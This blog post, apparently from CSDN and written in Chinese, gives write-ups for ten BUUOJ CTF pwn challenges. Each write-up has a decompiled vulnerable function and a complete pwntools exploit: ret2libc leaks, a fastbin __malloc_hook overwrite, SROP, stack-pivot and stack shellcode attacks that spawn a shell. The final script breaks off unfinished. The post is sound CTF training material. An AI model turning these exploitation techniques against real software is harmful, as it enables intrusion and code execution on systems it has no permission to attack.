




buuoj Pwn writeup 21-30

原创

[yongbaoii](#)  于 2021-02-05 23:00:41 发布  1061  收藏 1

分类专栏: [CTF](#) 文章标签: [安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/yongbaoii/article/details/113463104>

版权



[CTF 专栏收录该内容](#)

213 篇文章 7 订阅

订阅专栏

21 ciscn_2019_ne_5

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
85 Symbols	No 0	4	./2019			

```

1 int __cdecl GetFlag(char *src)
2 {
3     char dest[4]; // [esp+0h] [ebp-48h] BYREF
4     char v3[60]; // [esp+4h] [ebp-44h] BYREF
5
6     *(_DWORD *)dest = 48;
7     memset(v3, 0, sizeof(v3));
8     strcpy(dest, src);
9     return printf("The flag is your log:%s\n", dest);
10 }

```

<https://blog.csdn.net/yongbaoii>

这个地方的strcpy函数，一看就估摸

着有问题。

他把src那块的东西复制到了dest

但是你会发现

dest那里

```

00000040 ,
00000048
00000048 dest          db 4 dup(?)
00000044 var_44       db ?
00000043          db ? ; undefined
00000042          db ? ; undefined
00000041          db ? ; undefined
00000040          db ? ; undefined
0000003F          db ? ; undefined
0000003E          db ? ; undefined
0000003D          db ? ; undefined
0000003C          db ? ; undefined

```

<https://blog.csdn.net/yongbaoii>

0x48

但是你是可以往src那里输入东西的。

```

1 int __cdecl AddLog(int a1)
2 {
3     printf("Please input new log info:");
4     return __isoc99_scanf("%128s", a1);
5 }

```

<https://blog.csdn.net/yongbaoii>

一口气能输128个字节，那这就造成了溢出。

那再说怎么利用

这个地方首先要注意他这里没有/bin/sh, 但是有sh

```
OAD:080482CD aLibcSo6      db 'libc.so.6',0      ; DATA XREF: LOAD:
OAD:080482D7 aIoStdinUsed db '_IO_stdin_used',0 ; DATA XREF: LOAD:
OAD:080482E6 byte_80482E6 db 66h                ; DATA XREF: LOAD:
OAD:080482E7 aFlush        db 'flush',0         ; DATA XREF: LOAD:
OAD:080482ED aStrcpy       db 'strcpy',0        ; DATA XREF: LOAD:
OAD:080482F4 aExit         db 'exit',0          ; DATA XREF: LOAD:
OAD:080482F9 aIsoc99Scanf db '__isoc99_scanf',0 ; DATA XREF: LOAD:
OAD:08048308 aPuts         db 'puts',0          ; DATA XREF: LOAD:
OAD:0804830D aStdin        db 'stdin',0         ; DATA XREF: LOAD:
OAD:08048312 aPrintf       db 'printf',0        ; DATA XREF: LOAD:
```

而且还非常隐蔽

```
LOAD:080482EA db 's'
LOAD:080482EB db 68h ; h
LOAD:080482EC db 0
```

所以呢咱们这边推荐之后/bin/sh跟sh的搜索都用

ROPgadget.

```
wuangwuang@wuangwuang-PC:~/Desktop$ ROPgadget --binary './2019' --string '/bin/sh'
Strings information
=====
wuangwuang@wuangwuang-PC:~/Desktop$ ROPgadget --binary './2019' --string 'sh'
Strings information
=====
0x080482ea : sh
```

非常的nice

然后程序里面本来就有system函数, 然后就一把梭。

exp

```

from pwn import *

context(log_level='debug')
proc_name = './2019'

p = process(proc_name)
# p = remote('node3.buuoj.cn', 29868)
elf = ELF(proc_name)
system_addr = elf.sym['system']
main_addr = elf.sym['main']
sh_str = 0x80482ea
p.sendlineafter('password:', 'administrator')
p.recv()
p.sendline('1')
p.recvuntil('info:')
payload = 'a' * (0x48 + 4) + p32(system_addr) + p32(main_addr) + p32(sh_str)
p.sendline(payload)
p.recv()
p.sendline('4')
p.interactive()

```

插一句，这个脚本也是我学来的，感觉写的非常棒。

22 铁人三项(第五赛区)_2018_rop

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
70 Symbols	No 0	2	2018_rop			

栈溢出倒是很明显。

```

ssize_t vulnerable_function()
{
    char buf[136]; // [esp+10h] [ebp-88h] BYREF
    return read(0, buf, 0x100u);
}

```

<https://blog.csdn.net/yongbaoli>

但是这玩意是个啥刚开始我还真没看出来。

```

v1 = getegid();
return setresgid(v1, v1, v1);

```

度娘知道

C语言getegid()函数：获得组织识别码

跟这个题也没啥关系，就不管了

那么说这个题怎么解

它有个栈溢出，然后通过它下面的write函数，泄露libc的地址，然后计算libc基地址，获得system函数地址，然后就又是一把梭。

然后要注意它还没给libc，所以得用LibcSearcher

exp

```
from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2018_rop'

#p = process(proc_name)
r = remote('node3.buuoj.cn', 26479)
elf = ELF(proc_name)
main_addr = elf.sym['main']
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = 'a' * 140 + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(4)

r.sendline(payload)

write_addr = u32(r.recv())

print hex(write_addr)

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')

system_addr =libc_base + libc.dump('system')
bin_sh =libc_base + libc.dump('str_bin_sh')

payload = 'a' * 140 + p32(system_addr) + p32(bin_sh) + p32(bin_sh)

r.sendline(payload)

r.interactive()
```

23 babyheap_Octf_2017

囉，buu里面第一个全绿的。

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Full RELRO	Canary found	NX enabled	PIE enabled	No RPATH	No RUNPATH	
No Symbols	Yes 0	2	./2017			

```
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = sub_B70();
while ( 1 )
{
sub_CF4(a1, a2);
switch ( sub_138C() )
{
case 1LL:
a1 = (__int64)v4;
sub_D48(v4);
break;
case 2LL:
a1 = (__int64)v4;
sub_E7F(v4);
break;
case 3LL:
a1 = (__int64)v4;
sub_F50(v4);
break;
case 4LL:
a1 = (__int64)v4;
sub_1051(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
```

<https://blog.csdn.net/yongbaoii>

这题刚进去我就看着不大对劲，这种菜单题很堆啊

```
alarm(0x3c0);
puts("==== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
```

果然

baby heap

乍一眼看过去都会用到v4，所以就瞅瞅v4是个啥。

```
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("==== Baby Heap in 2017 ====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
    exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
return &addr[v3];
```

<https://blog.csdn.net/yongbaoii>

首先要搞清楚这个函数是干嘛的。

大概就是堆的初始化。

```

void __fastcall sub_D48(__int64 a1)
{
    int i; // [rsp+10h] [rbp-10h]
    int v2; // [rsp+14h] [rbp-Ch]
    void *v3; // [rsp+18h] [rbp-8h]

    for ( i = 0; i <= 15; ++i )
    {
        if ( !*( _DWORD * )( 24LL * i + a1 ) )
        {
            printf("Size: ");
            v2 = sub_138C();
            if ( v2 > 0 )
            {
                if ( v2 > 4096 )
                    v2 = 4096;
                v3 = calloc(v2, 1uLL);
                if ( !v3 )
                    exit(-1);
                *( _DWORD * )( 24LL * i + a1 ) = 1;
                *( _QWORD * )( a1 + 24LL * i + 8 ) = v2;
                *( _QWORD * )( a1 + 24LL * i + 16 ) = v3;
                printf("Allocate Index %d\n", (unsigned int)i);
            }
            return;
        }
    }
}

```

<https://blog.csdn.net/yongbaoii>

第一个函数分析。

calloc函数。

C 库函数 void *calloc(size_t nitems, size_t size) 分配所需的内存空间，并返回一个指向它的指针。malloc 和 calloc 之间的不同点是，malloc 不会设置内存为零，而 calloc 会设置分配的内存为零。

nitems – 要被分配的元素个数。

size – 元素的大小。

分配的大小不能超过 4096 字节

*(24LL * i + a1): 置 1 表示 chunk 已经创建

*(a1 + 24LL * i + 8): 存储 chunk 的大小

*(a1 + 24LL * i + 16): 存储 chunk 的地址


```

__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
        printf("Size: ");
        result = sub_138C();
        v3 = result;
        if ( (int)result > 0 )
        {
            printf("Content: ");
            result = sub_11B2(*(_QWORD *) (24LL * v2 + a1 + 16), v3);
        }
    }
}
return result;

```

<https://blog.csdn.net/yongbaoii>

先判断对应位是否为 1

，即 chunk 是否存在

如果存在把输入的内容写入 $*(24LL * v2 + a1 + 16)$ 对应的地址中。

这里没有对 v3 的大小做限制，存在堆溢出

```

__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
    result = *(unsigned int *)(24LL * (int)result + a1);
    if ( (_DWORD)result == 1 )
    {
        *(_DWORD *) (24LL * v2 + a1) = 0;
        *(_QWORD *) (24LL * v2 + a1 + 8) = 0LL;
        free(*(void **) (24LL * v2 + a1 + 16));
        result = 24LL * v2 + a1;
        *(_QWORD *) (result + 16) = 0LL;
    }
}
return result;

```

<https://blog.csdn.net/yongbaoii>

free部分也没有uaf，清除的还是挺干净的。

的。

```

int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = sub_138C();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *) (24LL * result + a1);
    if ( result == 1 )
    {
        puts("Content: ");
        sub_130F(*(_QWORD *) (24LL * v2 + a1 + 16), *(_QWORD *) (24LL * v2 + a1 + 8));
        result = puts(byte_14F1);
    }
}
}

```

<https://blog.csdn.net/yongbaoli>

先判断对应位是否为 1，即 chunk 是否存在

如果存在，打印长度为 $(24LL * v2 + a1 + 8)$ 存储字节数内容指针 $(24LL * v2 + a1 + 16)$ 指向的内容

```

mov     rax, [14F1011]
mov     rsi, rcx
mov     rdi, rax
call    sub_130F
lea     rdi, byte_14F1 ; s
call    puts
jmp     short locret_111B

```

会发现这里居然还有个 puts，但是没啥用，传给 puts 的参数那里是个 \x00。

解题思路是个啥，因为里面有 double free 漏洞，先通过堆溢出改变堆块大小，开一个 chunk 然后扔到 unsortedbin 里面，通过 dump 函数泄露地址，然后计算基质，得出 one_gadget，再通过 fastbin attack，修改 malloc_hook 为 one_gadget 从而拿到权限。

exp

```

from pwn import*
#p = process("./2017")
p = remote('node3.buuoj.cn', 29514)
context.log_level = 'debug'
libc = ELF("libc-2.23.so")

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload)

def free(idx):
    p.recvuntil('Command: ')

```

```

p.sendline('3')
p.sendline(str(idx))

def dump(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.sendline(str(idx))
    p.recvuntil('Content: \n')

alloc(0x60)#0
alloc(0x40)#1
alloc(0x100)#2
fill(0,0x60*'a'+p64(0)+p64(0x71))
fill(2,0x10*'b'+p64(0)+p64(0x71))

free(1)
alloc(0x60)
fill(1,0x40*'c'+p64(0)+p64(0x111))
alloc(0x100)#3
free(2)
dump(1)
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))

#先需要一个unsorted bin 泄露地址，就需要chunk2，申请再释放，让里面有了main_arena的地址，通过堆溢出，将0x50大小的chunk 1伪造成0x80，释放了再申请回来，就能输出chunk 2里面的地址了。

offset = hex(0x7f9888706b78-0x7f9888342000)

libc_base = main_arena - 0x3c4b78

malloc_chunk = libc.symbols["__malloc_hook"]+libc_base
fake_chunk = malloc_chunk-0x23

free(1)
fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
alloc(0x60)
alloc(0x60)
fill(2,"a"*3+p64(0)+p64(0)+p64(libc_base+0x4526a))
alloc(0x100)
p.interactive()

#第二部分就是fastbin_attack，构造一个链，即addr1->addr2->addr1，中间夹着一个绕过double free的检查，fake chunk的伪造也是为了fastbin_attack的检查。

```

24 bjdctf_2020_babyrop

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH
ymbols	FORTIFY Fortified		Fortifiable FILE		
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH
73 Symbols	No 0	2	./2020		

```
ssize_t vuln()
{
    char buf[32]; // [rsp+0h] [rbp-20h] BYREF

    puts("Pull up your sword and tell me u story!");
    return read(0, buf, 0x64uLL);
}
```

<https://blog.csdn.net/yongbaoii>

有个栈溢出，然后里面有puts函数，这不就完了嘛

泄露libc地址，然后一把梭。

exp

```

from pwn import *
from LibcSearcher import*

context(log_level='debug')
proc_name = './2020'

r = remote('node3.buuoj.cn',25696)

elf = ELF(proc_name)

main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

pop_rdi = 0x400733

r.recvuntil('Pull up your sword and tell me u story!\n')

payload = 'a' * 40 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

r.sendline(payload)

puts_addr = u64(r.recv(6).ljust(8, '\x00'))

print hex(puts_addr)

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")

payload = 'a' * 40 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)

r.sendline(payload)

r.interactive()

```

25 others_shellcode

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	5
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	PIE enabled	No RPATH	No RUNPATH	
72 Symbols	No 0	0	./shell_asm			

```
int getShell()
{
    int result; // eax
    char v1[9]; // [esp-Ch] [ebp-Ch] BYREF

    strcpy(v1, "/bin//sh");
    result = 11;
    __asm { int 80h; LINUX - sys_execve }
    return result;
}
```

<https://blog.csdn.net/yongbaonii>

就是里面写了个汇编代码

asm里面的就是当汇编代码执行

```
getShell      proc near          ; CODE XREF: main+D1p
; __unwind {
    push     ebp
    mov     ebp, esp
    call    __x86_get_pc_thunk_ax
    add     eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
    xor     edx, edx          ; envp
    push   edx
    push   'hs//'
    push   'nib/'
    mov     ebx, esp          ; file
    push   edx
    push   ebx
    mov     ecx, esp          ; argv
    mov     eax, 0FFFFFFFFh
    sub     eax, 0FFFFFFF4h
    int     80h              ; LINUX - sys_execve
    nop
    pop     ebp
    retn
; } // starts at 550
```

<https://blog.csdn.net/yongbaonii>

读它的汇编代码。

先看那个int 80h

这是32位的系统调用

系统调用号是eax

eax是11的时候调用的是execve函数

这个函数需要三个参数

这些参数存在ebx, ecx, edx里面

所以上面那个代码就是在getshell

所以只要连上跑一下就可以了。

```
0x56555575 <getShell+37>  sub    eax    0xc
▶ 0x56555578 <getShell+40>  int     0x80 <SYS_execve>
    path: 0xffffbd34 ← '/bin//sh'
    argv: 0xffffbd2c → 0xffffbd34 ← '/bin//sh'
    envp: 0x0
0x5655557a <getShell+42>  nop
0x5655557b <getShell+43>  pop     ebp
0x5655557c <getShell+44>  ret
```

这里有个题就是用的这些知识

连上跑一下

```
wuangwuang@wuangwuang-PC:~/Desktop$ nc node3.buuoj.cn 28528
ls
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
cat flag
flaq{27d75e62-f8cc-4f03-a22b-87763a371431} https://blog.csdn.net/yongbaoii
```

26 pwn2_sctf_2016

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
74 Symbols	No 0	2	./2016			

发现有个这玩意。

```
void do_thing()  
{  
    __asm { int 80h; LINUX - }  
}
```



```

int vuln()
{
    char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
    int v2; // [esp+3Ch] [ebp-Ch]

    printf("How many bytes do you want me to read? ");
    get_n(nptr, 4);
    v2 = atoi(nptr);
    if ( v2 > 32 )
        return printf("No! That size (%d) is too large!\n", v2);
    printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
    get_n(nptr, v2);
    return printf("You said: %s\n", nptr);
}

```

<https://blog.csdn.net/yongbaoli>

```

int __cdecl get_n(int a1, unsigned int a2)
{
    unsigned int v2; // eax
    int result; // eax
    char v4; // [esp+Bh] [ebp-Dh]
    unsigned int i; // [esp+Ch] [ebp-Ch]

    for ( i = 0; ; ++i )
    {
        v4 = getchar();
        if ( !v4 || v4 == 10 || i >= a2 )
            break;
        v2 = i;
        *(_BYTE *)(v2 + a1) = v4;
    }
    result = a1 + i;
    *(_BYTE *)(a1 + i) = 0;
    return result;
}

```

<https://blog.csdn.net/yongbaoli>

看似好像没啥漏洞，没啥问题，但是会发现无论是vuln函数还是get_n函数，里面只检查了不大于多少，这就有了整数溢出漏洞，我们只要输入一个负数，就会绕过他这些检查。然后从理论上去用那个int 80h去执行系统调用，但是没有找到合适的gadget。程序里面有printf函数，所以还是泄露函数然后一把梭吧。

exp

```

from LibcSearcher import LibcSearcher
from pwn import *

io = remote("node3.buuoj.cn",28702)
elf = ELF("./2016")

printf_plt = elf.plt["printf"]
printf_got = elf.got["printf"]
fmtstr = 0x080486F8
vuln_addr = 0x0804852F

payload1 = "A" * 0x30 + p32(printf_plt) + p32(vuln_addr) + p32(fmtstr) + p32(printf_got)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload1)

io.recvuntil("You said: ")
io.recvuntil("You said: ")
printf_addr = u32(io.recv(4))
print(printf_addr)

libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = "A" * 0x30 + p32(system_addr) + p32(vuln_addr) + p32(binsh_addr)
io.recvuntil("How many bytes do you want me to read? ")
io.sendline("-2")
io.recvuntil("bytes of data!\n")
io.sendline(payload2)

io.interactive()

```

27 ciscn_2019_s_3

SR0P

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
68 Symbols	No 0	0	./3			

又是这个这。

```
signed __int64 vuln()
{
    signed __int64 result; // rax

    __asm { syscall; LINUX - sys_read }
    result = 1LL;
    __asm { syscall; LINUX - sys_write }
    return result;
}
```

<https://blog.csdn.net/yongbaoii>

```
buf= byte ptr -10h

; __unwind {
push    rbp
mov     rbp, rsp
xor     rax, rax
mov     edx, 400h           ; count
lea     rsi, [rsp+buf]     ; buf
mov     rdi, rax           ; fd
syscall                               ; LINUX - sys_read
mov     rax, 1
mov     edx, 30h           ; count
lea     rsi, [rsp+buf]     ; buf
mov     rdi, rax           ; fd
syscall                               ; LINUX - sys_write
retn
vuln endp ; sp-analysis failed
```

<https://blog.csdn.net/yongbaoii>

还是看汇编靠谱。

所以就是read函数跟write函数而已。

缓冲区开了10h

read能够输入400h

就有溢出了嘛。

具体利用就得用到SROP

SROP一遍过

首先是我们需要在里面写入'/bin/sh'，通过read写进去之后写在了栈里面，但是我们并不知道栈的地址，所以需要通过write函数泄露，泄露的话write函数会输出30h大小的数据，需要你在里面找到栈的地址，并且计算到/bin/sh的偏移量。

经过调试之后其中0x20到0x28是一个栈上的地址，到/bin/sh距离是0x118，就获得了/bin/sh的地址。

```
from pwn import *
from LibcSearcher import *

r = remote('node3.buuoj.cn', 29487)
elf = ELF('./3')

context.log_level = 'debug'
context.arch = elf.arch

se = lambda data : r.send(data)
sa = lambda delim,data : r.sendafter(delim, data)
sl = lambda data : r.sendline(data)
sla = lambda delim,data : r.sendlineafter(delim, data)
sea = lambda delim,data : r.sendafter(delim, data)
rc = lambda numb=4096 : r.recv(numb)
rl = lambda : r.recvline()
ru = lambda delims, drop=True : r.recvuntil(delims, drop)
uu32 = lambda data : u32(data.ljust(4, '\0'))
uu64 = lambda data : u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr : r.info(tag + ': {:#x}'.format(addr))

sigreturn = 0x4004DA # mov eax 0fh
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']

p1 = flat(['/bin/sh\x00', 'b'*8, read_write]) #good!
#你会发现这里为什么read的地址跟平常我们写的在ebp之后不一样。
#这是因为这个函数调用规则不是我们平常的_cedel，这个函数最后一句直接就是retn，而我们平常见到的是level | ret

sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
#pwntools功能就是强大

p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)

r.interactive()
```

模板学来的，非常好用。

28 [HarekazeCTF2019]baby_rop2

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
71 Symbols	No 0	4	./1			

```
char buf[28]; // [rsp+0h] [rbp-20h] BYREF
int v5; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ");
v5 = read(0, buf, 0x100uLL);
buf[v5 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
```

<https://blog.csdn.net/yongbaoii>

这一上来就个栈溢出，然后有

read函数泄露libc地址一把梭。

```
0x0000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000400730 : pop r14 ; pop r15 ; ret
0x00000000400732 : pop r15 ; ret
0x0000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000004005a0 : pop rbp ; ret
0x00000000400733 : pop rdi ; ret
0x00000000400731 : pop rsi ; pop r15 ; ret
0x0000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000004004d1 : ret
0x00000000400537 : ret 0x2000
```

<https://blog.csdn.net/yongbaoii>

这是gadget。

read函数也能泄露

exp

```

from pwn import*
from LibcSearcher import*

r = remote('node3.buuoj.cn',28671)

elf=ELF('./1')

rdi_ret=0x400733
rsi_r15_ret=0x400731
format_str=0x400770
read_got=elf.got['read']
printf_plt=elf.plt['printf']
main_addr=0x400636

payload='a'*0x20+'b'*0x8
payload+=p64(rdi_ret)+p64(format_str)
payload+=p64(rsi_r15_ret)+p64(read_got)+p64(0x0)
payload+=p64(printf_plt)+p64(main_addr)

r.recvuntil("What's your name?")
r.sendline(payload)

read_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc = LibcSearcher('read', read_addr)

libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh_addr=libc_base+libc.dump('str_bin_sh')

payload2='a'*0x20+'b'*0x8+p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
r.recvuntil("What's your name?")
r.sendline(payload2)

r.interactive()

```

29 ez_pz_hackover_2016

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Full RELRO	No canary found	NX disabled	No PIE	No RPATH	No RUNPATH	
76 Symbols	No 0	6	./2			

你会发现它没有

开NX，所以直接把shellcode可以写在栈上。

```

size_t v0; // eax
int result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
    *v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
return result;
}

```

<https://blog.csdn.net/yongbaoii>

程序一点点，有个比较陌生的函数。

memchr

C 库函数 `void *memchr(const void *str, int c, size_t n)` 在参数 `str` 所指向的字符串的前 `n` 个字节中搜索第一次出现字符 `c`（一个无符号字符）的位置。

我们考虑写入shellcode，那么需要泄露栈的地址，但是程序直接给出来了。

```

result = (void *)strcmp(&s, "crashme");
if ( !result )

```

有个检测，你可以用 `'\x00'` 把它绕过，因为上面会把 `'\n'` 变成 `'\x00'`，所以直接用 `'\n'` 绕过就好。

绕过之后会有个溢出，然后溢出到shellcode上就好了。

exp

```

from pwn import *

context(os = "linux", arch = "i386")

#r = remote('node3.buuoj.cn', 25228)
r = process('./2')

r.recvuntil('crash: 0x')
address = r.recv(8)
gdb.attach(r)
hack_addr = int(address, 16) - 28

payload = "crashme\x00" + '\x00' * 18 + p32(hack_addr) + asm(shellcraft.sh())

r.sendafter('> ', payload)

r.interactive()

```

你会发现里面第二个payload后面的padding是不是数量不对，明明IDA里面显示的缓冲区大小是0x32

在动态调试的时候发现

```
[ DISASM ]
0x80485ed <vuln+9>    push   dword ptr [ebp+0xc]
0x80485f0 <vuln+12>    lea   eax, [ebp+8]
0x80485f3 <vuln+15>    push   eax
0x80485f4 <vuln+16>    lea   eax, [ebp+0x32]
0x80485f7 <vuln+19>    push   eax
▶ 0x80485f8 <vuln+20>  call  memcpy@plt <memcpy@plt>
    dest: 0xff8091c6 ← 0x0
    src: 0xff809200 → 0xff80921c ← 'crashme'
    n: 0x400

0x80485fd <vuln+25>    add   esp, 0x10
0x8048600 <vuln+28>    nop
0x8048601 <vuln+29>    leave
0x8048602 <vuln+30>    ret

0x8048603 <chall>    push  ebp
```

src并不是我们看到的就像IDA里面

的s的地址，那问题出在那里？

```
▶ 0x80485f8 <vuln+20>  call  memcpy@plt <memcpy@plt>
    dest: 0xff8091c6 ← 0x0
    src: 0xff809200 → 0xff80921c ← 'crashme'
    n: 0x400
```

```
void *__cdecl vuln(char src, size_t n)
{
    char dest; // [esp+6h] [ebp-32h]

    return memcpy(&dest, &src, n);
}
```

他这个函数src那里是个二级指针，传入的是写着字符串的指针的地址，破案了。

30 ciscn_2019_es_2

保护

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	S
ymbols	FORTIFY Fortified		Fortifiable FILE			
Partial RELRO	No canary found	NX enabled	No PIE	No RPATH	No RUNPATH	
79 Symbols	No 0	6	./3			

```
int hack()
{
    return system("echo flag");
}
```

这里有system

但是里面的命令echo flag 只不过是输出flag这个字符串而已

```
int vul()
{
    char s; // [esp+0h] [ebp-28h]

    memset(&s, 0, 0x20u);
    read(0, &s, 0x30u);
    printf("Hello, %s\n", &s);
    read(0, &s, 0x30u);
    return printf("Hello, %s\n", &s);
}
```

<https://blog.csdn.net/yongbaoii>

开了个0x28大小的缓冲区，但是read读入的大小是0x30，除了覆

盖ebp之外只能覆盖返回地址了。

所以直接想到应该栈迁移。

栈迁移

```
wndbg> stack 20
0:0000 | esp 0xffcc6ca0 ← 0x61616161 ('aaaa')
.. ↓
2:0008 | 0xffcc6ca8 → 0xffcc6cb4 ← 0x63636363 ('cccc')
3:000c | 0xffcc6cac ← 'bbbb'
4:0010 | 0xffcc6cb0 → 0x8048400 (system@plt) ← jmp dword ptr 0x804a018
5:0014 | 0xffcc6cb4 ← 0x63636363 ('cccc')
6:0018 | 0xffcc6cb8 → 0xffcc6cbc ← '/bin/sh'
7:001c | 0xffcc6cbc ← '/bin/sh'
8:0020 | 0xffcc6cc0 ← 0x68732f /* '/sh' */
9:0024 | 0xffcc6cc4 ← 0x70707070 ('pppp')
a:0028 | ebp 0xffcc6cc8 → 0xffcc6cac ← 'bbbb'
b:002c | 0xffcc6ccc → 0x804862a (main+43) ← mov eax 0
c:0030 | 0xffcc6cd0 → 0xf7f46520 (_dl_fini) ← push ebp
d:0034 | 0xffcc6cd4 → 0xffcc6cf0 ← 0x1
e:0038 | 0xffcc6cd8 ← 0x0
f:003c | 0xffcc6cdc → 0xf7d4db41 (__libc_start_main+241) ← add esp 0x10
0:0040 | 0xffcc6ce0 → 0xf7f0d000 (_GLOBAL_OFFSET_TABLE_) ← 0x1d9d6c
.. ↓
2:0048 | 0xffcc6ce8 ← 0x0
3:004c | 0xffcc6cec → 0xf7d4db41 (__libc_start_main+241) ← add esp 0x10
wndbg>
```

栈迁移一定需要两个leave|ret，以往我们见到的都是通过ROP自己写，但是这个题不一样，用的都是函数的leave|ret，非常的巧妙。

在泄露栈ebp地址的情况下

先通过第一个leave|ret把栈迁移到vuln的栈帧里面，然后自己写了'/bin/sh'，自己把/bin/sh的地址再放到栈帧里面，然后通过第二个leave|ret进行利用。

exp

```
from pwn import *

r=process('./3')
#r = remote('node3.buuoj.cn',27896)
system_addr = 0x8048400
gdb.attach(r)
